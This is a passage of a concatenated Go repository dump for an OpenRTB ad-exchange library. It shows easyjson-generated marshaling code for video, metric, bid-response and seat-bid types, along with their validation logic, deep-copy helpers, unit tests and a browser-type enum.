} for !in.IsDelim(']') { var v80 CompanionType v80 = CompanionType(in.Int()) out.CompanionTypes = append(out.CompanionTypes, v80) in.WantComma() } in.Delim(']') } case "ext": if m, ok := out.Extension.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Extension.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Extension = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb14(out *jwriter.Writer, in Video) { out.RawByte('{') first := true _ = first { const prefix string = ",\"mimes\":" out.RawString(prefix[1:]) if in.MIMETypes == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 { out.RawString("null") } else { out.RawByte('[') for v81, v82 := range in.MIMETypes { if v81 > 0 { out.RawByte(',') } out.String(string(v82)) } out.RawByte(']') } } if in.MinDuration != nil { const prefix string = ",\"minduration\":" out.RawString(prefix) out.Int(int(*in.MinDuration)) } if in.MaxDuration != nil { const prefix string = ",\"maxduration\":" out.RawString(prefix) out.Int(int(*in.MaxDuration)) } if len(in.Protocols) != 0 { const prefix string = ",\"protocols\":" out.RawString(prefix) { out.RawByte('[') for v83, v84 := range in.Protocols { if v83 > 0 { out.RawByte(',') } out.Int(int(v84)) } out.RawByte(']') } } if in.Protocol != 0 { const prefix string = ",\"protocol\":" out.RawString(prefix) out.Int(int(in.Protocol)) } if in.Width != 0 { const prefix string = ",\"w\":" out.RawString(prefix) out.Int(int(in.Width)) } if in.Height != 0 { const prefix string = ",\"h\":" out.RawString(prefix) out.Int(int(in.Height)) } if in.StartDelay != nil { const prefix string = ",\"startdelay\":" out.RawString(prefix) out.Int(int(*in.StartDelay)) } if in.PlacementType != 0 { const prefix string = ",\"placement\":" out.RawString(prefix) out.Int(int(in.PlacementType)) } if in.PlcmtType != 0 { const prefix string = ",\"plcmt\":" out.RawString(prefix) out.Int(int(in.PlcmtType)) } if in.Linearity != 0 { const prefix string = ",\"linearity\":" out.RawString(prefix) out.Int(int(in.Linearity)) } if in.Skippable != 0 { const prefix string = ",\"skip\":" out.RawString(prefix) out.Int(int(in.Skippable)) } if in.SkipMin != 0 { const prefix string = ",\"skipmin\":" out.RawString(prefix) out.Int(int(in.SkipMin)) } if in.SkipAfter != 0 { const prefix string = ",\"skipafter\":" out.RawString(prefix) out.Int(int(in.SkipAfter)) } if in.Sequence != 0 { const prefix string = ",\"sequence\":" out.RawString(prefix) out.Int(int(in.Sequence)) } if len(in.BlockedCreativeAttributes) != 0 { const prefix string = ",\"battr\":" out.RawString(prefix) { out.RawByte('[') for v85, v86 := range in.BlockedCreativeAttributes { if v85 > 0 { out.RawByte(',') } out.Int(int(v86)) } out.RawByte(']') } } if in.MaxExtendedDuration != 0 { const prefix string = ",\"maxextended\":" out.RawString(prefix) out.Int(int(in.MaxExtendedDuration)) } if in.MinBitRate != 0 { const prefix string = ",\"minbitrate\":" out.RawString(prefix) out.Int(int(in.MinBitRate)) } if in.MaxBitRate != 0 { const prefix string = ",\"maxbitrate\":" out.RawString(prefix) out.Int(int(in.MaxBitRate)) } if in.IsBoxingAllowed { const prefix string = ",\"boxingallowed\":" out.RawString(prefix) out.Raw((in.IsBoxingAllowed).MarshalJSON()) } if len(in.PlaybackMethods) != 0 { const prefix string = ",\"playbackmethod\":" out.RawString(prefix) { out.RawByte('[') for v87, v88 := range in.PlaybackMethods { if v87 > 0 { out.RawByte(',') } out.Int(int(v88)) } out.RawByte(']') } } if in.PlaybackEndEvent != 0 { const prefix string = ",\"playbackend\":" out.RawString(prefix) out.Int(int(in.PlaybackEndEvent)) } if len(in.DeliveryMethods) != 0 { const prefix string = ",\"delivery\":" out.RawString(prefix) { out.RawByte('[') for v89, v90 := range in.DeliveryMethods { if v89 > 0 { out.RawByte(',') } out.Int(int(v90)) } out.RawByte(']') } } if in.Position != 0 { const prefix string = ",\"pos\":" out.RawString(prefix) out.Int(int(in.Position)) } if len(in.CompanionAds) != 0 { const prefix string = ",\"companionad\":" out.RawString(prefix) { out.RawByte('[') for v91, v92 := range in.CompanionAds { if v91 > 0 { out.RawByte(',') } (v92).MarshalEasyJSON(out) } out.RawByte(']') } } if len(in.APIFrameworks) != 0 { const prefix string = ",\"api\":" out.RawString(prefix) { out.RawByte('[') for v93, v94 := range in.APIFrameworks { if v93 > 0 { out.RawByte(',') } out.Int(int(v94)) } out.RawByte(']') } } if len(in.CompanionTypes) != 0 { const prefix string = ",\"companiontype\":" out.RawString(prefix) { out.RawByte('[') for v95, v96 := range in.CompanionTypes { if v95 > 0 { out.RawByte(',') } out.Int(int(v96)) } out.RawByte(']') } } if in.Extension != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Extension.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Extension.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Extension)) } } out.RawByte('}') } func easyjson89fe9b30DecodeGithubComVungleVungoOpenrtb13(in *jlexer.Lexer, out *Metric) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "type": out.Type = string(in.String()) case "value": out.Value = float64(in.Float64()) case "vendor": out.Vendor = string(in.String()) case "ext": if m, ok := out.Ext.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Ext.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Ext = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson89fe9b30EncodeGithubComVungleVungoOpenrtb13(out *jwriter.Writer, in Metric) { out.RawByte('{') first := true _ = first { const prefix string = ",\"type\":" out.RawString(prefix[1:]) out.String(string(in.Type)) } if in.Value != 0 { const prefix string = ",\"value\":" out.RawString(prefix) out.Float64(float64(in.Value)) } if in.Vendor != "" { const prefix string = ",\"vendor\":" out.RawString(prefix) out.String(string(in.Vendor)) } if in.Ext != nil { const prefix string = ",\"ext\":" out.RawString(prefix) if m, ok := in.Ext.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Ext.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Ext)) } } out.RawByte('}') } ``` ## /openrtb/bidrequest_test.go ```go path="/openrtb/bidrequest_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var BidRequestModelType = reflect.TypeOf(openrtb.BidRequest{}) func TestBidRequestMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "bidrequest.json", BidRequestModelType) } func TestBidRequest_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.BidRequest)(nil), "testdata/bidrequest_std.txt"); err != "" { t.Error(err) } } func TestBidRequestValidateShouldValidateAgainstId(t *testing.T) { var bidRequest openrtb.BidRequest _ = openrtbtest.UnmarshalFromJSONFile("bidrequest.json", &bidRequest) // Expect the validation to pass when ID field is non-empty. if err := bidRequest.Validate(); err != nil && err != openrtb.ErrInvalidBidRequestSeats { t.Errorf("BidRequest.ID (%s) when not empty should be valid.\n", bidRequest.ID) } // Expect the validate to fail when the ID field is empty. originalID := bidRequest.ID bidRequest.ID = "" if err := bidRequest.Validate(); err == nil || err != openrtb.ErrInvalidBidRequestID { t.Errorf("BidRequest.ID (%s) must be non-empty to be valid.", bidRequest.ID) } bidRequest.ID = originalID // A bid request must not contain both a Site and an App object originalSite := bidRequest.Site bidRequest.Site = &openrtb.Site{} if err := bidRequest.Validate(); err == nil || err != openrtb.ErrBidRequestHasBothAppAndSite { t.Errorf("BidRequest must not contain both a Site and an App object.") } bidRequest.Site = originalSite } func TestBidRequest_Copy(t *testing.T) { bidRequest := openrtb.BidRequest{} if err := openrtbtest.VerifyDeepCopy( &bidRequest, bidRequest.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&bidRequest) if err := openrtbtest.VerifyDeepCopy( &bidRequest, bidRequest.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } ``` ## /openrtb/bidresponse.go ```go path="/openrtb/bidresponse.go" package openrtb import ( "encoding/json" "fmt" "reflect" "github.com/unsteadykis/vungo/internal/util" ) var emptyBid BidResponse // BidResponse type represents a top-level object received by an ad exchange server from various // buyers directly connected or proxy'ed by a DSP connection. // See OpenRTB 2.5 Sec 4.2.1. // //go:generate easyjson $GOFILE //easyjson:json type BidResponse struct { ID string `json:"id"` SeatBids []*SeatBid `json:"seatbid,omitempty"` BidID string `json:"bidid,omitempty"` Currency Currency `json:"cur,omitempty"` CustomData string `json:"customdata,omitempty"` NoBidReason *NoBidReason `json:"nbr,omitempty"` RawExtension json.RawMessage `json:"ext,omitempty"` Extension interface{} `json:"-"` // Opaque value that can be used to store unmarshaled value in ext field. } // Validate method validates whether the BidResponse object contains valid data, or returns an // error otherwise. func (r *BidResponse) Validate() error { if reflect.DeepEqual(emptyBid, *r) { return nil } if len(r.ID) == 0 { return ErrInvalidBidResponseID } if len(r.SeatBids) == 0 { if r.NoBidReason == nil { return ErrInvalidNoBidReason } return r.NoBidReason.Validate() } for _, seatBid := range r.SeatBids { if err := seatBid.Validate(); err != nil { return err } } return nil } // IsNoBid checks whether a BidResponse object is a no-bid response. A BidResponse object is a // no-bid if it is empty or it has no seatbids. func (r *BidResponse) IsNoBid() bool { hasNoSeatBids := r.SeatBids == nil || len(r.SeatBids) == 0 return hasNoSeatBids || reflect.DeepEqual(emptyBid, *r) } // String method returns a human-readable representation of the bid response object also suitable // for logging with %s, or %v. func (r *BidResponse) String() string { return fmt.Sprintf("[%s;%s;%v;%d]", r.ID, r.Currency, r.NoBidReason, len(r.SeatBids)) } // Copy returns a pointer to a copy of the bidresponse object. func (r *BidResponse) Copy() *BidResponse { if r == nil { return nil } brCopy := *r if r.NoBidReason != nil { brCopy.NoBidReason = r.NoBidReason.Ref() } if r.SeatBids != nil { brCopy.SeatBids = make([]*SeatBid, len(r.SeatBids)) for i, seat := range r.SeatBids { brCopy.SeatBids[i] = seat.Copy() } } if r.Extension != nil { brCopy.RawExtension = util.DeepCopyJSONRawMsg(r.RawExtension) } return &brCopy } ``` ## /openrtb/bidresponse_easyjson.go ```go path="/openrtb/bidresponse_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjson10eb023eDecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *BidResponse) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "seatbid": if in.IsNull() { in.Skip() out.SeatBids = nil } else { in.Delim('[') if out.SeatBids == nil { if !in.IsDelim(']') { out.SeatBids = make([]*SeatBid, 0, 8) } else { out.SeatBids = []*SeatBid{} } } else { out.SeatBids = (out.SeatBids)[:0] } for !in.IsDelim(']') { var v1 *SeatBid if in.IsNull() { in.Skip() v1 = nil } else { if v1 == nil { v1 = new(SeatBid) } easyjson10eb023eDecodeGithubComVungleVungoOpenrtb1(in, v1) } out.SeatBids = append(out.SeatBids, v1) in.WantComma() } in.Delim(']') } case "bidid": out.BidID = string(in.String()) case "cur": out.Currency = Currency(in.String()) case "customdata": out.CustomData = string(in.String()) case "nbr": if in.IsNull() { in.Skip() out.NoBidReason = nil } else { if out.NoBidReason == nil { out.NoBidReason = new(NoBidReason) } *out.NoBidReason = NoBidReason(in.Int()) } case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.RawExtension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson10eb023eEncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in BidResponse) { out.RawByte('{') first := true _ = first { const prefix string = ",\"id\":" out.RawString(prefix[1:]) out.String(string(in.ID)) } if len(in.SeatBids) != 0 { const prefix string = ",\"seatbid\":" out.RawString(prefix) { out.RawByte('[') for v2, v3 := range in.SeatBids { if v2 > 0 { out.RawByte(',') } if v3 == nil { out.RawString("null") } else { easyjson10eb023eEncodeGithubComVungleVungoOpenrtb1(out, *v3) } } out.RawByte(']') } } if in.BidID != "" { const prefix string = ",\"bidid\":" out.RawString(prefix) out.String(string(in.BidID)) } if in.Currency != "" { const prefix string = ",\"cur\":" out.RawString(prefix) out.String(string(in.Currency)) } if in.CustomData != "" { const prefix string = ",\"customdata\":" out.RawString(prefix) out.String(string(in.CustomData)) } if in.NoBidReason != nil { const prefix string = ",\"nbr\":" out.RawString(prefix) out.Int(int(*in.NoBidReason)) } if len(in.RawExtension) != 0 { const prefix string = ",\"ext\":" out.RawString(prefix) out.Raw((in.RawExtension).MarshalJSON()) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v BidResponse) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson10eb023eEncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v BidResponse) MarshalEasyJSON(w *jwriter.Writer) { easyjson10eb023eEncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *BidResponse) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson10eb023eDecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *BidResponse) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson10eb023eDecodeGithubComVungleVungoOpenrtb(l, v) } func easyjson10eb023eDecodeGithubComVungleVungoOpenrtb1(in *jlexer.Lexer, out *SeatBid) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "bid": if in.IsNull() { in.Skip() out.Bids = nil } else { in.Delim('[') if out.Bids == nil { if !in.IsDelim(']') { out.Bids = make([]*Bid, 0, 8) } else { out.Bids = []*Bid{} } } else { out.Bids = (out.Bids)[:0] } for !in.IsDelim(']') { var v4 *Bid if in.IsNull() { in.Skip() v4 = nil } else { if v4 == nil { v4 = new(Bid) } (*v4).UnmarshalEasyJSON(in) } out.Bids = append(out.Bids, v4) in.WantComma() } in.Delim(']') } case "seat": out.Seat = string(in.String()) case "group": out.Group = int(in.Int()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson10eb023eEncodeGithubComVungleVungoOpenrtb1(out *jwriter.Writer, in SeatBid) { out.RawByte('{') first := true _ = first if len(in.Bids) != 0 { const prefix string = ",\"bid\":" first = false out.RawString(prefix[1:]) { out.RawByte('[') for v5, v6 := range in.Bids { if v5 > 0 { out.RawByte(',') } if v6 == nil { out.RawString("null") } else { (*v6).MarshalEasyJSON(out) } } out.RawByte(']') } } if in.Seat != "" { const prefix string = ",\"seat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Seat)) } if in.Group != 0 { const prefix string = ",\"group\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Int(int(in.Group)) } out.RawByte('}') } ``` ## /openrtb/bidresponse_test.go ```go path="/openrtb/bidresponse_test.go" package openrtb_test import ( "reflect" "testing" "github.com/unsteadykis/vungo/openrtb" "github.com/unsteadykis/vungo/openrtb/openrtbtest" ) var BidResponseModelType = reflect.TypeOf(openrtb.BidResponse{}) func TestBidResponseMarshalUnmarshal(t *testing.T) { openrtbtest.VerifyModelAgainstFile(t, "bidresponse.json", BidResponseModelType) } func TestBidResponseShouldValidateInvalidNoBidReasons(t *testing.T) { tests := []struct { nbr openrtb.NoBidReason isValid bool }{ {openrtb.NoBidReasonBelowFloor, true}, {openrtb.NoBidReason(1010), false}, {openrtb.NoBidReasonVungleDataSciNoServe, true}, {openrtb.NoBidReasonBelowFloor, true}, } for i, test := range tests { t.Logf("Testing %d...", i) resp := &openrtb.BidResponse{ID: "some-id", NoBidReason: test.nbr.Ref()} err := resp.Validate() if (test.isValid && err != nil) || (!test.isValid && err != openrtb.ErrInvalidNoBidReason) { t.Errorf("Expected no-bid reason to be valid: %t, when the validation error is %v", test.isValid, err) } } } func TestBidResponseShouldCheckNoBids(t *testing.T) { // Given an empty bid response. br := &openrtb.BidResponse{} // Expect it has no bid. if !br.IsNoBid() { t.Error("Empty bid response should represent no bid.") } // Given the SeatBids are empty. br.SeatBids = make([]*openrtb.SeatBid, 0) // Expect it has no bid. if !br.IsNoBid() { t.Error("Empty bid response should represent no bid.") } } func TestBidResponseValidation(t *testing.T) { testCases := []struct { bidResp *openrtb.BidResponse err error }{ // empty bid response { &openrtb.BidResponse{}, nil, }, // empty id { &openrtb.BidResponse{ ID: "", SeatBids: []*openrtb.SeatBid{}, }, openrtb.ErrInvalidBidResponseID, }, // empty seat bids { &openrtb.BidResponse{ SeatBids: []*openrtb.SeatBid{}, }, openrtb.ErrInvalidBidResponseID, }, // valid data { &openrtb.BidResponse{ ID: "some-id", Currency: openrtb.Currency("USD"), SeatBids: []*openrtb.SeatBid{ { Bids: []*openrtb.Bid{ {ID: "abidid", ImpressionID: "some-impid", Price: 1}, }, }, }, }, nil, }, } for _, testCase := range testCases { err := testCase.bidResp.Validate() if err != testCase.err { t.Errorf("%v should return error (%s) instead of (%s).", testCase.bidResp, testCase.err, err) } } } func TestBidResponse_Copy(t *testing.T) { bidResponse := openrtb.BidResponse{} if err := openrtbtest.VerifyDeepCopy( &bidResponse, bidResponse.Copy()); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } openrtbtest.FillWithNonNilValue(&bidResponse) bidResponse.Extension = true // hack to workaround BidResponse specific Copy implementation about RawExtension respCopy := bidResponse.Copy() respCopy.Extension = true if err := openrtbtest.VerifyDeepCopy( &bidResponse, respCopy); err != nil { t.Errorf("Copy() should be deep copy\n%v\n", err) } } func TestResponse_Fields(t *testing.T) { if err := openrtbtest.VerifyStructFieldNameWithStandardTextFile( (*openrtb.BidResponse)(nil), "testdata/bidresponse_std.txt"); err != "" { t.Error(err) } } ``` ## /openrtb/browsertype.go ```go path="/openrtb/browsertype.go" package openrtb // BrowserType type Indicates the type of browser opened upon clicking the // creative in an app, where 0 = embedded, 1 = native. // Note that the Safari View Controller in iOS 9.x devices is considered a // native browser for purposes of this attribute. // See OpenRTB 2.5 Sec 3.2.4. type BrowserType int // Possible values according to the OpenRTB spec. const ( BrowserTypeEmbedded = 0 BrowserTypeNative = 1 ) ``` The content has been capped at 50000 tokens, and files over NaN bytes have been omitted. The user could consider applying other filters to refine the result. The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.